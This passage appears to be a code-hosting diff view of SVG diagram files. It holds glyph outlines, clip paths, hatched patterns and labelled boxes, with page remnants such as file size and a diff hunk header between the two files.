<path d="M 5.203125 -1.78125 C 5.203125 -1.15625 4.96875 -0.679688 4.5 -0.359375 C 4.039062 -0.0351562 3.421875 0.125 2.640625 0.125 C 2.191406 0.125 1.804688 0.0859375 1.484375 0.015625 C 1.160156 -0.0546875 0.875 -0.15625 0.625 -0.28125 L 0.625 -1.25 C 0.882812 -1.125 1.191406 -1.003906 1.546875 -0.890625 C 1.910156 -0.785156 2.28125 -0.734375 2.65625 -0.734375 C 3.195312 -0.734375 3.585938 -0.816406 3.828125 -0.984375 C 4.066406 -1.160156 4.1875 -1.394531 4.1875 -1.6875 C 4.1875 -1.84375 4.140625 -1.984375 4.046875 -2.109375 C 3.960938 -2.234375 3.804688 -2.359375 3.578125 -2.484375 C 3.347656 -2.617188 3.023438 -2.765625 2.609375 -2.921875 C 2.191406 -3.085938 1.832031 -3.25 1.53125 -3.40625 C 1.238281 -3.5625 1.007812 -3.75 0.84375 -3.96875 C 0.6875 -4.195312 0.609375 -4.488281 0.609375 -4.84375 C 0.609375 -5.382812 0.828125 -5.800781 1.265625 -6.09375 C 1.710938 -6.394531 2.300781 -6.546875 3.03125 -6.546875 C 3.414062 -6.546875 3.773438 -6.507812 4.109375 -6.4375 C 4.453125 -6.363281 4.773438 -6.257812 5.078125 -6.125 L 4.71875 -5.28125 C 4.445312 -5.394531 4.160156 -5.488281 3.859375 -5.5625 C 3.566406 -5.644531 3.265625 -5.6875 2.953125 -5.6875 C 2.515625 -5.6875 2.179688 -5.613281 1.953125 -5.46875 C 1.734375 -5.332031 1.625 -5.144531 1.625 -4.90625 C 1.625 -4.726562 1.675781 -4.578125 1.78125 -4.453125 C 1.882812 -4.328125 2.054688 -4.207031 2.296875 -4.09375 C 2.535156 -3.976562 2.863281 -3.84375 3.28125 -3.6875 C 3.6875 -3.53125 4.03125 -3.367188 4.3125 -3.203125 C 4.601562 -3.046875 4.820312 -2.851562 4.96875 -2.625 C 5.125 -2.40625 5.203125 -2.125 5.203125 -1.78125 Z M 5.203125 -1.78125 "/>
</g>
<g id="glyph-0-16">
<path d="M 2.546875 -3.28125 L 0.328125 -6.4375 L 1.53125 -6.4375 L 3.1875 -4.015625 L 4.828125 -6.4375 L 6.015625 -6.4375 L 3.796875 -3.28125 L 6.125 0 L 4.9375 0 L 3.1875 -2.5625 L 1.40625 0 L 0.21875 0 Z M 2.546875 -3.28125 "/>
</g>
</g>
<clipPath id="clip-0">
<path clip-rule="nonzero" d="M 0 0 L 12 0 L 12 12 L 0 12 Z M 0 0 "/>
</clipPath>
<clipPath id="clip-1">
<rect x="0" y="0" width="12" height="12"/>
</clipPath>
<g id="source-41" clip-path="url(#clip-1)">
<g clip-path="url(#clip-0)">
<path fill="none" stroke-width="1" stroke-linecap="butt" stroke-linejoin="miter" stroke="rgb(78.431373%, 31.372549%, 31.372549%)" stroke-opacity="0.5" stroke-miterlimit="10" d="M 13 -13 L -1 1 M 13 -7 L -1 7 M 13 -1 L -1 13 M 13 5 L -1 19 M 13 11 L -1 25 "/>
</g>
</g>
<pattern id="pattern-0" patternUnits="userSpaceOnUse" x="0" y="0" width="12" height="12" viewBox="0 0 12 12">
<use xlink:href="#source-41"/>
</pattern>
<clipPath id="clip-2">
<path clip-rule="nonzero" d="M 0 0 L 12 0 L 12 12 L 0 12 Z M 0 0 "/>
</clipPath>
<clipPath id="clip-3">
<rect x="0" y="0" width="12" height="12"/>
</clipPath>
<g id="source-44" clip-path="url(#clip-3)">
<g clip-path="url(#clip-2)">
<path fill="none" stroke-width="1" stroke-linecap="butt" stroke-linejoin="miter" stroke="rgb(78.431373%, 31.372549%, 31.372549%)" stroke-opacity="0.5" stroke-miterlimit="10" d="M 13 -13 L -1 1 M 13 -7 L -1 7 M 13 -1 L -1 13 M 13 5 L -1 19 M 13 11 L -1 25 "/>
</g>
</g>
<pattern id="pattern-1" patternUnits="userSpaceOnUse" x="0" y="0" width="12" height="12" viewBox="0 0 12 12">
<use xlink:href="#source-44"/>
</pattern>
</defs>
<path fill-rule="nonzero" fill="rgb(100%, 100%, 100%)" fill-opacity="1" d="M 0 0 L 459 0 L 459 170.375 L 0 170.375 Z M 0 0 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(58.823529%, 58.823529%, 58.823529%)" stroke-opacity="1" stroke-miterlimit="10" d="M 20.5 20.5 L 64.5 20.5 L 64.5 55.5 L 20.5 55.5 Z M 20.5 20.5 "/>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-1" x="30" y="42.828125"/>
<use xlink:href="#glyph-0-2" x="37" y="42.828125"/>
<use xlink:href="#glyph-0-3" x="44" y="42.828125"/>
<use xlink:href="#glyph-0-2" x="48" y="42.828125"/>
</g>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(78.431373%, 31.372549%, 31.372549%)" stroke-opacity="1" stroke-miterlimit="10" d="M 65.5 20.5 L 129.5 20.5 L 129.5 55.5 L 65.5 55.5 Z M 65.5 20.5 "/>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-4" x="75" y="42.828125"/>
<use xlink:href="#glyph-0-2" x="82" y="42.828125"/>
<use xlink:href="#glyph-0-1" x="89" y="42.828125"/>
<use xlink:href="#glyph-0-1" x="96" y="42.828125"/>
<use xlink:href="#glyph-0-5" x="103" y="42.828125"/>
<use xlink:href="#glyph-0-6" x="106" y="42.828125"/>
<use xlink:href="#glyph-0-7" x="113" y="42.828125"/>
</g>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(78.431373%, 31.372549%, 31.372549%)" stroke-opacity="1" stroke-miterlimit="10" d="M 130.5 20.5 L 194.5 20.5 L 194.5 55.5 L 130.5 55.5 Z M 130.5 20.5 "/>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-1" x="140" y="42.828125"/>
<use xlink:href="#glyph-0-2" x="147" y="42.828125"/>
<use xlink:href="#glyph-0-3" x="154" y="42.828125"/>
<use xlink:href="#glyph-0-2" x="158" y="42.828125"/>
<use xlink:href="#glyph-0-8" x="165" y="42.828125"/>
<use xlink:href="#glyph-0-9" x="168" y="42.828125"/>
<use xlink:href="#glyph-0-10" x="171" y="42.828125"/>
<use xlink:href="#glyph-0-6" x="178" y="42.828125"/>
</g>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 20.5 71.5 L 20.5 66.5 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 20.5 71.5 L 195.5 71.5 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 195.5 71.5 L 195.5 66.5 "/>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-11" x="60" y="84.171875"/>
<use xlink:href="#glyph-0-12" x="67" y="84.171875"/>
<use xlink:href="#glyph-0-5" x="72" y="84.171875"/>
<use xlink:href="#glyph-0-7" x="75" y="84.171875"/>
<use xlink:href="#glyph-0-5" x="82" y="84.171875"/>
<use xlink:href="#glyph-0-6" x="85" y="84.171875"/>
<use xlink:href="#glyph-0-2" x="92" y="84.171875"/>
<use xlink:href="#glyph-0-9" x="99" y="84.171875"/>
<use xlink:href="#glyph-0-9" x="102" y="84.171875"/>
<use xlink:href="#glyph-0-13" x="105" y="84.171875"/>
<use xlink:href="#glyph-0-8" x="111" y="84.171875"/>
<use xlink:href="#glyph-0-14" x="114" y="84.171875"/>
<use xlink:href="#glyph-0-2" x="121" y="84.171875"/>
<use xlink:href="#glyph-0-15" x="128" y="84.171875"/>
<use xlink:href="#glyph-0-14" x="134" y="84.171875"/>
<use xlink:href="#glyph-0-10" x="141" y="84.171875"/>
<use xlink:href="#glyph-0-1" x="148" y="84.171875"/>
</g>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(58.823529%, 58.823529%, 58.823529%)" stroke-opacity="1" stroke-miterlimit="10" d="M 195.5 20.5 L 280.5 20.5 L 280.5 55.5 L 195.5 55.5 Z M 195.5 20.5 "/>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-10" x="205" y="42.828125"/>
<use xlink:href="#glyph-0-16" x="212" y="42.828125"/>
<use xlink:href="#glyph-0-3" x="218" y="42.828125"/>
<use xlink:href="#glyph-0-10" x="222" y="42.828125"/>
<use xlink:href="#glyph-0-6" x="229" y="42.828125"/>
<use xlink:href="#glyph-0-1" x="236" y="42.828125"/>
<use xlink:href="#glyph-0-8" x="243" y="42.828125"/>
<use xlink:href="#glyph-0-1" x="246" y="42.828125"/>
<use xlink:href="#glyph-0-2" x="253" y="42.828125"/>
<use xlink:href="#glyph-0-3" x="260" y="42.828125"/>
<use xlink:href="#glyph-0-2" x="264" y="42.828125"/>
</g>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 65.5 102.5 L 65.5 97.5 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 65.5 102.5 L 281.5 102.5 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 281.5 102.5 L 281.5 97.5 "/>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-2" x="140.5" y="115.515625"/>
<use xlink:href="#glyph-0-4" x="147.5" y="115.515625"/>
<use xlink:href="#glyph-0-4" x="154.5" y="115.515625"/>
<use xlink:href="#glyph-0-10" x="161.5" y="115.515625"/>
<use xlink:href="#glyph-0-6" x="168.5" y="115.515625"/>
<use xlink:href="#glyph-0-1" x="175.5" y="115.515625"/>
<use xlink:href="#glyph-0-8" x="182.5" y="115.515625"/>
<use xlink:href="#glyph-0-3" x="185.5" y="115.515625"/>
<use xlink:href="#glyph-0-14" x="189.5" y="115.515625"/>
<use xlink:href="#glyph-0-5" x="196.5" y="115.515625"/>
<use xlink:href="#glyph-0-15" x="199.5" y="115.515625"/>
</g>
<path fill-rule="evenodd" fill="url(#pattern-0)" d="M 281 20 L 345.5 20 L 345.5 55.84375 L 281 55.84375 Z M 281 20 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(78.431373%, 31.372549%, 31.372549%)" stroke-opacity="1" stroke-miterlimit="10" d="M 281.5 20.5 L 345.5 20.5 L 345.5 55.5 L 281.5 55.5 Z M 281.5 20.5 "/>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-4" x="291" y="42.828125"/>
<use xlink:href="#glyph-0-2" x="298" y="42.828125"/>
<use xlink:href="#glyph-0-1" x="305" y="42.828125"/>
<use xlink:href="#glyph-0-1" x="312" y="42.828125"/>
<use xlink:href="#glyph-0-5" x="319" y="42.828125"/>
<use xlink:href="#glyph-0-6" x="322" y="42.828125"/>
<use xlink:href="#glyph-0-7" x="329" y="42.828125"/>
</g>
<path fill-rule="evenodd" fill="url(#pattern-1)" d="M 346 20 L 438.5 20 L 438.5 55.84375 L 346 55.84375 Z M 346 20 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(78.431373%, 31.372549%, 31.372549%)" stroke-opacity="1" stroke-miterlimit="10" d="M 346.5 20.5 L 438.5 20.5 L 438.5 55.5 L 346.5 55.5 Z M 346.5 20.5 "/>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-3" x="356" y="42.828125"/>
<use xlink:href="#glyph-0-11" x="360" y="42.828125"/>
<use xlink:href="#glyph-0-3" x="367" y="42.828125"/>
<use xlink:href="#glyph-0-2" x="371" y="42.828125"/>
<use xlink:href="#glyph-0-9" x="378" y="42.828125"/>
<use xlink:href="#glyph-0-8" x="381" y="42.828125"/>
<use xlink:href="#glyph-0-1" x="384" y="42.828125"/>
<use xlink:href="#glyph-0-2" x="391" y="42.828125"/>
<use xlink:href="#glyph-0-3" x="398" y="42.828125"/>
<use xlink:href="#glyph-0-2" x="402" y="42.828125"/>
<use xlink:href="#glyph-0-8" x="409" y="42.828125"/>
<use xlink:href="#glyph-0-9" x="412" y="42.828125"/>
<use xlink:href="#glyph-0-10" x="415" y="42.828125"/>
<use xlink:href="#glyph-0-6" x="422" y="42.828125"/>
</g>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 20.5 134.5 L 20.5 129.5 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 20.5 134.5 L 439.5 134.5 "/>
<path fill="none" stroke-width="1" stroke-linecap="round" stroke-linejoin="round" stroke="rgb(0%, 0%, 0%)" stroke-opacity="1" stroke-miterlimit="10" d="M 439.5 134.5 L 439.5 129.5 "/>
<g fill="rgb(0%, 0%, 0%)" fill-opacity="1">
<use xlink:href="#glyph-0-10" x="188.5" y="146.859375"/>
<use xlink:href="#glyph-0-16" x="195.5" y="146.859375"/>
<use xlink:href="#glyph-0-3" x="201.5" y="146.859375"/>
<use xlink:href="#glyph-0-10" x="205.5" y="146.859375"/>
<use xlink:href="#glyph-0-6" x="212.5" y="146.859375"/>
<use xlink:href="#glyph-0-1" x="219.5" y="146.859375"/>
<use xlink:href="#glyph-0-10" x="226.5" y="146.859375"/>
<use xlink:href="#glyph-0-1" x="233.5" y="146.859375"/>
<use xlink:href="#glyph-0-8" x="240.5" y="146.859375"/>
<use xlink:href="#glyph-0-14" x="243.5" y="146.859375"/>
<use xlink:href="#glyph-0-2" x="250.5" y="146.859375"/>
<use xlink:href="#glyph-0-15" x="257.5" y="146.859375"/>
<use xlink:href="#glyph-0-14" x="263.5" y="146.859375"/>
</g>
</svg>

After

Width:  |  Height:  |  Size: 24 KiB

View File

@ -0,0 +1,120 @@
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="215" height="107.6875" viewBox="0 0 215 107.6875">
<defs>
<g>
<g id="glyph-0-0">
<path d="M 1.125 0 L 1.125 -8.5625 L 6.0625 -8.5625 L 6.0625 0 Z M 1.734375 -0.609375 L 5.453125 -0.609375 L 5.453125 -7.953125 L 1.734375 -7.953125 Z M 1.734375 -0.609375 "/>
</g>
<g id="glyph-0-1">
<path d="M 3.296875 0.125 C 2.492188 0.125 1.851562 -0.148438 1.375 -0.703125 C 0.894531 -1.265625 0.65625 -2.097656 0.65625 -3.203125 C 0.65625 -4.304688 0.894531 -5.140625 1.375 -5.703125 C 1.863281 -6.265625 2.507812 -6.546875 3.3125 -6.546875 C 3.8125 -6.546875 4.21875 -6.453125 4.53125 -6.265625 C 4.84375 -6.085938 5.097656 -5.867188 5.296875 -5.609375 L 5.375 -5.609375 C 5.363281 -5.710938 5.347656 -5.863281 5.328125 -6.0625 C 5.304688 -6.269531 5.296875 -6.429688 5.296875 -6.546875 L 5.296875 -9.125 L 6.359375 -9.125 L 6.359375 0 L 5.515625 0 L 5.359375 -0.859375 L 5.296875 -0.859375 C 5.109375 -0.585938 4.851562 -0.351562 4.53125 -0.15625 C 4.21875 0.03125 3.804688 0.125 3.296875 0.125 Z M 3.46875 -0.75 C 4.144531 -0.75 4.617188 -0.9375 4.890625 -1.3125 C 5.171875 -1.6875 5.3125 -2.25 5.3125 -3 L 5.3125 -3.1875 C 5.3125 -3.988281 5.179688 -4.601562 4.921875 -5.03125 C 4.660156 -5.457031 4.171875 -5.671875 3.453125 -5.671875 C 2.890625 -5.671875 2.460938 -5.441406 2.171875 -4.984375 C 1.890625 -4.535156 1.75 -3.9375 1.75 -3.1875 C 1.75 -2.414062 1.890625 -1.816406 2.171875 -1.390625 C 2.460938 -0.960938 2.894531 -0.75 3.46875 -0.75 Z M 3.46875 -0.75 "/>
</g>
<g id="glyph-0-2">
<path d="M 3.453125 -6.546875 C 4.234375 -6.546875 4.8125 -6.375 5.1875 -6.03125 C 5.570312 -5.6875 5.765625 -5.132812 5.765625 -4.375 L 5.765625 0 L 4.984375 0 L 4.78125 -0.90625 L 4.734375 -0.90625 C 4.453125 -0.5625 4.15625 -0.300781 3.84375 -0.125 C 3.539062 0.0390625 3.117188 0.125 2.578125 0.125 C 1.992188 0.125 1.507812 -0.0234375 1.125 -0.328125 C 0.738281 -0.640625 0.546875 -1.125 0.546875 -1.78125 C 0.546875 -2.425781 0.796875 -2.921875 1.296875 -3.265625 C 1.804688 -3.617188 2.585938 -3.8125 3.640625 -3.84375 L 4.734375 -3.875 L 4.734375 -4.265625 C 4.734375 -4.796875 4.613281 -5.164062 4.375 -5.375 C 4.144531 -5.582031 3.816406 -5.6875 3.390625 -5.6875 C 3.054688 -5.6875 2.738281 -5.632812 2.4375 -5.53125 C 2.132812 -5.4375 1.847656 -5.328125 1.578125 -5.203125 L 1.265625 -5.984375 C 1.546875 -6.140625 1.875 -6.269531 2.25 -6.375 C 2.632812 -6.488281 3.035156 -6.546875 3.453125 -6.546875 Z M 3.765625 -3.109375 C 2.960938 -3.078125 2.40625 -2.945312 2.09375 -2.71875 C 1.789062 -2.5 1.640625 -2.1875 1.640625 -1.78125 C 1.640625 -1.414062 1.75 -1.148438 1.96875 -0.984375 C 2.1875 -0.816406 2.46875 -0.734375 2.8125 -0.734375 C 3.363281 -0.734375 3.816406 -0.878906 4.171875 -1.171875 C 4.535156 -1.472656 4.71875 -1.9375 4.71875 -2.5625 L 4.71875 -3.140625 Z M 3.765625 -3.109375 "/>
</g>
<g id="glyph-0-3">
<path d="M 3.171875 -0.75 C 3.328125 -0.75 3.488281 -0.757812 3.65625 -0.78125 C 3.820312 -0.8125 3.957031 -0.84375 4.0625 -0.875 L 4.0625 -0.078125 C 3.957031 -0.015625 3.800781 0.03125 3.59375 0.0625 C 3.382812 0.101562 3.179688 0.125 2.984375 0.125 C 2.648438 0.125 2.335938 0.0664062 2.046875 -0.046875 C 1.765625 -0.171875 1.535156 -0.375 1.359375 -0.65625 C 1.191406 -0.945312 1.109375 -1.351562 1.109375 -1.875 L 1.109375 -5.609375 L 0.1875 -5.609375 L 0.1875 -6.125 L 1.109375 -6.546875 L 1.53125 -7.90625 L 2.15625 -7.90625 L 2.15625 -6.4375 L 4.015625 -6.4375 L 4.015625 -5.609375 L 2.15625 -5.609375 L 2.15625 -1.890625 C 2.15625 -1.503906 2.25 -1.21875 2.4375 -1.03125 C 2.625 -0.84375 2.867188 -0.75 3.171875 -0.75 Z M 3.171875 -0.75 "/>
</g>
<g id="glyph-0-4">
<path d="M 4.078125 -6.546875 C 4.867188 -6.546875 5.503906 -6.269531 5.984375 -5.71875 C 6.472656 -5.164062 6.71875 -4.335938 6.71875 -3.234375 C 6.71875 -2.128906 6.472656 -1.289062 5.984375 -0.71875 C 5.503906 -0.15625 4.863281 0.125 4.0625 0.125 C 3.570312 0.125 3.164062 0.03125 2.84375 -0.15625 C 2.519531 -0.34375 2.265625 -0.5625 2.078125 -0.8125 L 2 -0.8125 C 2.019531 -0.675781 2.035156 -0.503906 2.046875 -0.296875 C 2.066406 -0.0859375 2.078125 0.0859375 2.078125 0.234375 L 2.078125 2.875 L 1.015625 2.875 L 1.015625 -6.4375 L 1.890625 -6.4375 L 2.03125 -5.5625 L 2.078125 -5.5625 C 2.265625 -5.832031 2.515625 -6.0625 2.828125 -6.25 C 3.140625 -6.445312 3.554688 -6.546875 4.078125 -6.546875 Z M 3.890625 -5.65625 C 3.234375 -5.65625 2.769531 -5.472656 2.5 -5.109375 C 2.226562 -4.742188 2.085938 -4.1875 2.078125 -3.4375 L 2.078125 -3.234375 C 2.078125 -2.441406 2.207031 -1.828125 2.46875 -1.390625 C 2.726562 -0.960938 3.207031 -0.75 3.90625 -0.75 C 4.300781 -0.75 4.625 -0.859375 4.875 -1.078125 C 5.125 -1.296875 5.3125 -1.585938 5.4375 -1.953125 C 5.5625 -2.328125 5.625 -2.753906 5.625 -3.234375 C 5.625 -3.972656 5.484375 -4.5625 5.203125 -5 C 4.921875 -5.4375 4.484375 -5.65625 3.890625 -5.65625 Z M 3.890625 -5.65625 "/>
</g>
<g id="glyph-0-5">
<path d="M 1.5625 -8.84375 C 1.71875 -8.84375 1.859375 -8.785156 1.984375 -8.671875 C 2.109375 -8.566406 2.171875 -8.398438 2.171875 -8.171875 C 2.171875 -7.953125 2.109375 -7.785156 1.984375 -7.671875 C 1.859375 -7.554688 1.71875 -7.5 1.5625 -7.5 C 1.382812 -7.5 1.234375 -7.554688 1.109375 -7.671875 C 0.992188 -7.785156 0.9375 -7.953125 0.9375 -8.171875 C 0.9375 -8.398438 0.992188 -8.566406 1.109375 -8.671875 C 1.234375 -8.785156 1.382812 -8.84375 1.5625 -8.84375 Z M 2.078125 -6.4375 L 2.078125 0 L 1.015625 0 L 1.015625 -6.4375 Z M 2.078125 -6.4375 "/>
</g>
<g id="glyph-0-6">
<path d="M 4.109375 -6.546875 C 4.878906 -6.546875 5.457031 -6.359375 5.84375 -5.984375 C 6.238281 -5.617188 6.4375 -5.019531 6.4375 -4.1875 L 6.4375 0 L 5.40625 0 L 5.40625 -4.109375 C 5.40625 -5.140625 4.921875 -5.65625 3.953125 -5.65625 C 3.242188 -5.65625 2.753906 -5.457031 2.484375 -5.0625 C 2.210938 -4.664062 2.078125 -4.09375 2.078125 -3.34375 L 2.078125 0 L 1.015625 0 L 1.015625 -6.4375 L 1.875 -6.4375 L 2.03125 -5.5625 L 2.09375 -5.5625 C 2.300781 -5.894531 2.585938 -6.140625 2.953125 -6.296875 C 3.316406 -6.460938 3.703125 -6.546875 4.109375 -6.546875 Z M 4.109375 -6.546875 "/>
</g>
<g id="glyph-0-7">
<path d="M 3.296875 -6.546875 C 3.722656 -6.546875 4.101562 -6.46875 4.4375 -6.3125 C 4.78125 -6.15625 5.070312 -5.910156 5.3125 -5.578125 L 5.375 -5.578125 L 5.515625 -6.4375 L 6.359375 -6.4375 L 6.359375 0.109375 C 6.359375 1.023438 6.125 1.710938 5.65625 2.171875 C 5.1875 2.640625 4.460938 2.875 3.484375 2.875 C 2.535156 2.875 1.757812 2.738281 1.15625 2.46875 L 1.15625 1.5 C 1.789062 1.832031 2.585938 2 3.546875 2 C 4.097656 2 4.53125 1.835938 4.84375 1.515625 C 5.15625 1.191406 5.3125 0.75 5.3125 0.1875 L 5.3125 -0.0625 C 5.3125 -0.15625 5.316406 -0.289062 5.328125 -0.46875 C 5.335938 -0.65625 5.347656 -0.785156 5.359375 -0.859375 L 5.296875 -0.859375 C 4.867188 -0.203125 4.207031 0.125 3.3125 0.125 C 2.476562 0.125 1.828125 -0.164062 1.359375 -0.75 C 0.890625 -1.332031 0.65625 -2.148438 0.65625 -3.203125 C 0.65625 -4.222656 0.890625 -5.035156 1.359375 -5.640625 C 1.828125 -6.242188 2.472656 -6.546875 3.296875 -6.546875 Z M 3.4375 -5.65625 C 2.90625 -5.65625 2.488281 -5.441406 2.1875 -5.015625 C 1.894531 -4.585938 1.75 -3.976562 1.75 -3.1875 C 1.75 -2.394531 1.894531 -1.789062 2.1875 -1.375 C 2.476562 -0.957031 2.90625 -0.75 3.46875 -0.75 C 4.113281 -0.75 4.582031 -0.921875 4.875 -1.265625 C 5.175781 -1.609375 5.328125 -2.171875 5.328125 -2.953125 L 5.328125 -3.203125 C 5.328125 -4.085938 5.175781 -4.71875 4.875 -5.09375 C 4.570312 -5.46875 4.09375 -5.65625 3.4375 -5.65625 Z M 3.4375 -5.65625 "/>
</g>
<g id="glyph-0-8">
</g>
<g id="glyph-0-9">
<path d="M 2.078125 0 L 1.015625 0 L 1.015625 -9.125 L 2.078125 -9.125 Z M 2.078125 0 "/>
</g>
<g id="glyph-0-10">
<path d="M 3.5 -6.546875 C 4.050781 -6.546875 4.523438 -6.425781 4.921875 -6.1875 C 5.316406 -5.945312 5.617188 -5.609375 5.828125 -5.171875 C 6.046875 -4.742188 6.15625 -4.234375 6.15625 -3.640625 L 6.15625 -3.015625 L 1.75 -3.015625 C 1.769531 -2.285156 1.957031 -1.726562 2.3125 -1.34375 C 2.664062 -0.96875 3.160156 -0.78125 3.796875 -0.78125 C 4.210938 -0.78125 4.578125 -0.816406 4.890625 -0.890625 C 5.203125 -0.972656 5.53125 -1.082031 5.875 -1.21875 L 5.875 -0.296875 C 5.539062 -0.148438 5.210938 -0.046875 4.890625 0.015625 C 4.578125 0.0859375 4.195312 0.125 3.75 0.125 C 3.144531 0.125 2.609375 0 2.140625 -0.25 C 1.671875 -0.5 1.304688 -0.867188 1.046875 -1.359375 C 0.785156 -1.847656 0.65625 -2.453125 0.65625 -3.171875 C 0.65625 -3.867188 0.773438 -4.46875 1.015625 -4.96875 C 1.253906 -5.476562 1.585938 -5.867188 2.015625 -6.140625 C 2.441406 -6.410156 2.9375 -6.546875 3.5 -6.546875 Z M 3.484375 -5.6875 C 2.984375 -5.6875 2.585938 -5.523438 2.296875 -5.203125 C 2.003906 -4.878906 1.832031 -4.429688 1.78125 -3.859375 L 5.046875 -3.859375 C 5.046875 -4.398438 4.921875 -4.835938 4.671875 -5.171875 C 4.421875 -5.515625 4.023438 -5.6875 3.484375 -5.6875 Z M 3.484375 -5.6875 "/>
</g>
<g id="glyph-0-11">
<path d="M 2.078125 -6.4375 C 2.078125 -6.125 2.054688 -5.828125 2.015625 -5.546875 L 2.09375 -5.546875 C 2.300781 -5.867188 2.582031 -6.113281 2.9375 -6.28125 C 3.289062 -6.457031 3.675781 -6.546875 4.09375 -6.546875 C 4.875 -6.546875 5.457031 -6.359375 5.84375 -5.984375 C 6.238281 -5.609375 6.4375 -5.007812 6.4375 -4.1875 L 6.4375 0 L 5.40625 0 L 5.40625 -4.109375 C 5.40625 -5.140625 4.921875 -5.65625 3.953125 -5.65625 C 3.234375 -5.65625 2.738281 -5.453125 2.46875 -5.046875 C 2.207031 -4.648438 2.078125 -4.078125 2.078125 -3.328125 L 2.078125 0 L 1.015625 0 L 1.015625 -9.125 L 2.078125 -9.125 Z M 2.078125 -6.4375 "/>
</g>
<g id="glyph-0-12">
<path d="M 5.203125 -1.78125 C 5.203125 -1.15625 4.96875 -0.679688 4.5 -0.359375 C 4.039062 -0.0351562 3.421875 0.125 2.640625 0.125 C 2.191406 0.125 1.804688 0.0859375 1.484375 0.015625 C 1.160156 -0.0546875 0.875 -0.15625 0.625 -0.28125 L 0.625 -1.25 C 0.882812 -1.125 1.191406 -1.003906 1.546875 -0.890625 C 1.910156 -0.785156 2.28125 -0.734375 2.65625 -0.734375 C 3.195312 -0.734375 3.585938 -0.816406 3.828125 -0.984375 C 4.066406 -1.160156 4.1875 -1.394531 4.1875 -1.6875 C 4.1875 -1.84375 4.140625 -1.984375 4.046875 -2.109375 C 3.960938 -2.234375 3.804688 -2.359375 3.578125 -2.484375 C 3.347656 -2.617188 3.023438 -2.765625 2.609375 -2.921875 C 2.191406 -3.085938 1.832031 -3.25 1.53125 -3.40625 C 1.238281 -3.5625 1.007812 -3.75 0.84375 -3.96875 C 0.6875 -4.195312 0.609375 -4.488281 0.609375 -4.84375 C 0.609375 -5.382812 0.828125 -5.800781 1.265625 -6.09375 C 1.710938 -6.394531 2.300781 -6.546875 3.03125 -6.546875 C 3.414062 -6.546875 3.773438 -6.507812 4.109375 -6.4375 C 4.453125 -6.363281 4.773438 -6.257812 5.078125 -6.125 L 4.71875 -5.28125 C 4.445312 -5.394531 4.160156 -5.488281 3.859375 -5.5625 C 3.566406 -5.644531 3.265625 -5.6875 2.953125 -5.6875 C 2.515625 -5.6875 2.179688 -5.613281 1.953125 -5.46875 C 1.734375 -5.332031 1.625 -5.144531 1.625 -4.90625 C 1.625 -4.726562 1.675781 -4.578125 1.78125 -4.453125 C 1.882812 -4.328125 2.054688 -4.207031 2.296875 -4.09375 C 2.535156 -3.976562 2.863281 -3.84375 3.28125 -3.6875 C 3.6875 -3.53125 4.03125 -3.367188 4.3125 -3.203125 C 4.601562 -3.046875 4.820312 -2.851562 4.96875 -2.625 C 5.125 -2.40625 5.203125 -2.125 5.203125 -1.78125 Z M 5.203125 -1.78125 "/>
</g>
</g>
<clipPath id="clip-0">
<path clip-rule="nonzero" d="M 0 0 L 12 0 L 12 12 L 0 12 Z M 0 0 "/>
</clipPath>
<clipPath id="clip-1">
<rect x="0" y="0" width="12" height="12"/>
</clipPath>
<g id="source-11" clip-path="url(#clip-1)">
<g clip-path="url(#clip-0)">
<path fill="none" stroke-width="1" stroke-linecap="butt" stroke-linejoin="miter" stroke="rgb(78.431373%, 31.372549%, 31.372549%)" stroke-opacity="0.5" stroke-miterlimit="10" d="M 13 -13 L -1 1 M 13 -7 L -1 7 M 13 -1 L -1 13 M 13 5 L -1 19 M 13 11 L -1 25 "/>
</g>
</g>
<pattern id="pattern-0" patternUnits="userSpaceOnUse" x="0" y="0" width="12" height="12" viewBox="0 0 12 12">
<use xlink:href="#source-11"/>
</pattern>
<clipPath id="clip-2">
<path clip-rule="nonzero" d="M 0 0 L 12 0 L 12 12 L 0 12 Z M 0 0 "/>
</clipPath>
<clipPath id="clip-3">
